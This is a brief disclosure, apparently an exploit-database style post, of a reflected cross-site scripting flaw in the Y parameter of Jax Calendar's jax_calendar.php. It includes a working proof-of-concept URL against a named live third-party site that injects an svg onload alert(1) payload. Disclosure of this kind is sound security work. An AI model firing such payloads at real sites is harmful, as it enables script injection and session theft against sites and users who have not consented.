------------------------------------------- XSS In Jax Calendar v1.0 - v1.34 By SonnySpooks ------------------------------------------- 1. [About App] ------------------------------------------- Jax Calendar is a popular calendar app used on Various sites. ------------------------------------------- 2. [Issue With It] ------------------------------------------- jax_calendar.php Has a Parameter (Y=) which does not sanitize html parses ------------------------------------------- 3. [Replication of attack] ------------------------------------------- http://www.salikum.de/modul/news/jax_calendar.php?Y=%22%3E%3Csvg/onload=alert(1)%3E&m=3&d=4&do=show_event&key=a09d57595d41a89e876b1dbc01a88ee1&cal_id=0&language=english&gmt_ofs=0&view=d30&evt_date=19.02.2017+-%3Cbr%3E31.05.2017&evt_title=Ausstellung+Koki+van+Trotten+aus+Berlin ________ /\ \ / \ \ / \ \ / \_______\ \ / / ___\ / ____/___ /\ \ / /\ \ / \ \/___/ \ \ / \ \ \ \ / \_______\ \_______\ \ / / / / \ / / / / \ / /\ / / \/_______/ \/_______/ -------------------------------------------